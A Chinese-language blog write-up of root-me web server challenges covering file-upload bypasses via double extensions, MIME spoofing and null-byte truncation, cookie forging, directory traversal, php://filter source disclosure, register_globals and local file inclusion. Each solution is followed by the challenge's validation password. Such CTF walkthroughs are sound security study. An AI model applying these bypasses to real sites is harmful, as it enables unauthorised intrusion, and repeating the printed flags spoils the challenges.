File upload - double extensions文件上传——双扩展

Gallery v0.02

介绍

Your goal is to hack this photo galery by uploading PHP code.

/challenge/web-serveur/ch20/tmp/phpSfAkKz 访问无果

返回

查看源码

view-source:http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/ccbde566dbc436aa41b84533bbc60ad8//3.php.jpg?preview

删除

http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/ccbde566dbc436aa41b84533bbc60ad8//3.php.jpg

PV1OejHY4MxfsC2mHpRz9

File upload - MIME type

常见的MIME类型   超文本标记语言文本 .html text/html   xml文档 .xml text/xml   XHTML文档 .xhtml application/xhtml+xml   普通文本 .txt text/plain   RTF文本 .rtf application/rtf   PDF文档 .pdf application/pdf   Microsoft Word文件 .word application/msword   PNG图像 .png image/png   GIF图形 .gif image/gif   JPEG图形 .jpeg,.jpg image/jpeg   au声音文件 .au audio/basic   MIDI音乐文件 mid,.midi audio/midi,audio/x-midi   RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio   MPEG文件 .mpg,.mpeg video/mpeg   AVI文件 .avi video/x-msvideo   GZIP文件 .gz application/x-gzip   TAR文件 .tar application/x-tar   任意的二进制数据 application/octet-stream

Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/gif

查看源码

抓包

删除
http://challenge01.root-me.org/web-serveur/ch21/galerie/upload/cb13dd644fb605082b0a59f2d15c84e7//2.php

password : UN2YusYPnmwfHFHI5zj3

HTTP cookies

Bob create a script to gather user’s email...

PS : Bob really love cookies

ctrl+u

<!--SetCookie("ch7","visiteur");

输入test

点击Saved email adresses

You need to be admin

用live http heads 抓取数据包

Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://challenge01.root-me.org/web-serveur/ch7/
Cookie: ch7=visiteur
X-Forwarded-For: 8.8.8.8

修改Cookie: ch7=visiteur
Cookie: ch7=admin

replay

刷新

Validation password : ml-SYMPA

Directory traversal-目录遍历

Photo gallery v 0.01

Find the hidden section of the photo galery.

删除ch15.php

burp爬目录

发现有ch15/galerie/86hwnX2r/password.txt

点击即可

http://challenge01.root-me.org/web-serveur/ch15/galerie/86hwnX2r/password.txt

kcb$!Bx@v4Gs9Ez

File upload - null byte

%00-零零截断

Gallery v0.04

Your goal is to hack this photo galery by uploading PHP code.

上传2.php

再上传3.php.jpeg

3.php%00.jpg

这样的话,系统就会把.jpeg后面的给舍去。直接解析3.php了

返回

点击刚才上传的图片

Well done ! You can validate this challenge with the password : YPNchi2NmTwygr2dgCCF

PHP filters-php函数

Retrieved the administrator password of this application.

PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。

链接

url

链接

PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJuYW1lIl0pICYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKICAgIGlmICgkX1BPU1RbInVzZXJuYW1lIl09PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JkIl09PSRwYXNzd29yZCl7CiAgICAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNrICE8L2gyPiIpOwogICAgICBwcmludCgiVG8gdmFsaWRhdGUgdGhlIGNoYWxsZW5nZSB1c2UgdGhpcyBwYXNzd29yZDxici8+PGJyLz4iKTsKICAgIH0gZWxzZSB7CiAgICAgIHByaW50KCI8aDM+RXJyb3IgOiBubyBzdWNoIHVzZXIvcGFzc3dvcmQ8L2gyPjxiciAvPiIpOwogICAgfQp9IGVsc2Ugewo/PgoKPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgTG9naW4mbmJzcDs8YnIvPgogIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VybmFtZSIgLz48YnIvPjxici8+CiAgUGFzc3dvcmQmbmJzcDs8YnIvPgogIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+PGJyLz48YnIvPgogIDxici8+PGJyLz4KICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY29ubmVjdCIgLz48YnIvPjxici8+CjwvZm9ybT4KCjw/cGhwIH0gPz4=
解码
<?php
include("config.php");

if ( isset($_POST["username"]) && isset($_POST["password"]) ){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("

Welcome back !

");
print("To validate the challenge use this password

");
} else {
print("

Error : no such user/password

");
}
} else {
?>

Login

Password

<?php } ?>

include("config.php");

url2

PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==

<?php

$username="admin";
$password="DAPt9D2mky0APAF";

?>

PHP register globals

It seems that the developper often leaves backup files around...

链接

链接1

思路

url

http://challenge01.root-me.org/web-serveur/ch17/index.php?_SESSION[logged]=1

well done, you can validate with the password : NoiQYdpcd5kgNwG

Local File Inclusion-本地文件包含

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
Abbreviated LFI

Get in the admin section.

查看标签中的子标签的链接
http://challenge01.root-me.org/web-serveur/ch16/?files=reseau&f=index.html
http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=index.html
http://challenge01.root-me.org/web-serveur/ch16/?files=esprit&f=index.html

发现变量files是标签的一个变量和f下属标签的变量

所以

目录遍历

http://challenge01.root-me.org/web-serveur/ch16/?files=../&f=index.html

在index.php里面

if (isset($_GET["files"])) $files=$_GET["files"];

if (isset($_GET["f"]) && $_GET["f"]!="")

http://challenge01.root-me.org/web-serveur/ch16/?files=../&f=admin/index.php

users = array('admin' => 'OpbNJ60xYpvAQU8');

PHP type juggling-类型转换的判别

PHP loose comparison

Get an access.

Authentication source code

$FLAG, $USER and $PASSWORD_SHA256 in secret file

url

Preg_Replace

e modifier

Read flag.php

Warning: preg_replace(): Delimiter must not be alphanumeric or backslash in /challenge/web-serveur/ch37/index.php on line 25

/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误

欢迎访问我的独立博客:joy_nick

root-me web server 10-20 writeup的更多相关文章

  1. 【转载】springboot启动报错(Unable to start web server; nested exception is org.springframework.context.ApplicationContextException: Unable to start ServletWebServerApplicationContext due to missing ServletWe)

    SpringBoot启动时的异常信息如下: 1 "C:\Program Files\Java\jdk1.8.0_161\bin\java" ......... com.fangxi ...

  2. linux REDHAT6.4下安装ArcGIS Server 10.1

    1 安装环境 因为Linux的发行版本比较多,我们在使用的时候请严格按照官网给的给出的版本,在官网上给出的是经过严格测试的,如果采用其他的,即便安装上了,在后续的运作中出现问题,这个可就麻烦了,官网对 ...

  3. Jexus-5.6.3使用详解、Jexus Web Server配置

    一.Jexus Web Server配置   在 jexus 的工作文件夹中(一般是“/usr/jexus”)有一个基本的配置文件,文件名是“jws.conf”. jws.conf 中至少有 Site ...

  4. Setting up Django and your web server with uWSGI and nginx

    https://uwsgi.readthedocs.io/en/latest/tutorials/Django_and_nginx.html Setting up Django and your we ...

  5. Chapter 1: A Simple Web Server

    这算是一篇读书笔记,留着以后复习看看. Web Server又称为Http Server,因为它使用HTTP协议和客户端(一般是各种各样的浏览器)进行通信. 什么是HTTP协议呢? HTTP协议是基于 ...

  6. [r]Setting up Django and your web server with uWSGI and nginx

    Setting up Django and your web server with uWSGI and nginx This tutorial is aimed at the Django user ...

  7. 有关于web server架构的一个小疑问

    今天闲的时候trace route了yahoo和sina的域名,yahoo的如下: 1     1 ms     1 ms    <1 ms  172.21.127.1   2     3 ms ...

  8. Django部署到Apache Web Server

    Windows环境下,将Django部署到Apache Web Server 在Windows上部署Django(用mod_wsgi)会出现各种奇怪的问题,现简单记录下配置过程及遇到的错误及解决方法. ...

  9. ubuntu16.04-x64系统中Jexus web server部署.NetCore和端口分析引发的猜想!

    您有这样的牢骚么? 有一周没更新博客了,简单说下在干什么吧:主要是公司安排对接某旅游大公司的接口,接口数量倒也就10个左右,对接完后还需要加入到业务系统中和App端,因此还是需要花点时间的:时间上来说 ...

  10. WebSphere之Web Server插件

    WebSphere之Web Server插件 -----------------------------------2013/10/19 这里记录一下WebSphere与IHS的安装集成,和Web S ...

随机推荐

  1. linux CMakeLists.txt 语法

    CMake入门教程 参考文献:http://www.ibm.com/developerworks/cn/linux/l-cn-cmake/index.html 官方网址:http://www.cmak ...

  2. Git系列五之分支管理

    1.Git分支管理 分支即是平行空间,假设你在为某个手机系统研发拍照功能,代码已经完成了80%,但如果将这不完整的代码直接提交到git仓库中,又有可能影响到其他人的工作,此时我们便可以在该软件的项目之 ...

  3. 【云计算】Docker多进程管理方案-cfengine && supervisord

    docker容器内多进程的管理方案 时间 2015-05-08 00:00:00 涯余 原文  http://yayua.github.io/docker/container-process-moni ...

  4. AWK 怎么读取标准输入(STDIN)

    在 awk 系列中,我们将会看到几个例子,你可以筛选其他命令的输出代替从一个文件读取输入作为 awk 的输入.我们首先从使用 dir 命令开始,它类似于 ls 命令. 在第一个例子下面,我们使用 di ...

  5. 重载delete时的那点事

    重载delete时的那点事 C++的异常处理机制就会自动用与被使用 的operator new匹配的operator delete来释放内存(补充一点:在operator new中抛出异常不会导致这样 ...

  6. UML类图介绍(转载)

    UML类图详细介绍   类图主要描述程序对象以及他们之间的关系.一般来说,类.接口.抽象类这些程序对象的区别很容易,但是他们之间六种关系以前总是理解不够深刻,这次进行了一次复习,顺便写成博文以便加深理 ...

  7. 算法笔记_086:蓝桥杯练习 9-2 文本加密(Java)

    目录 1 问题描述 2 解决方案   1 问题描述 问题描述 先编写函数EncryptChar,按照下述规则将给定的字符c转化(加密)为新的字符:"A"转化"B" ...

  8. 应用LR监控Apache性能

    1)对Apache服务器中的http.conf进行如下配置修改Apache中Httpd.conf文件,添加如下代码(该文件中都有,只要取消注释就好了)<Location /server-stat ...

  9. Apache Drupal URL重写【转】

    文章来源:http://www.cnblogs.com/ghj1976/archive/2010/07/19/1780844.html 在 drupal 跟目录下有个 .htaccess 文件, 这个 ...

  10. 乐鑫esp8266基于freeRtos实现私有服务器本地远程OTA升级

    目录 一.前言: 二.回顾下OTA的流程: 三.lwip网络框架的知识的使用: 四.如何处理服务器返回的数据? 五.扇区的擦除和烧写? 六.如何调用? 七.好好享用吧! 八.下载: 九.工程截图: 代 ...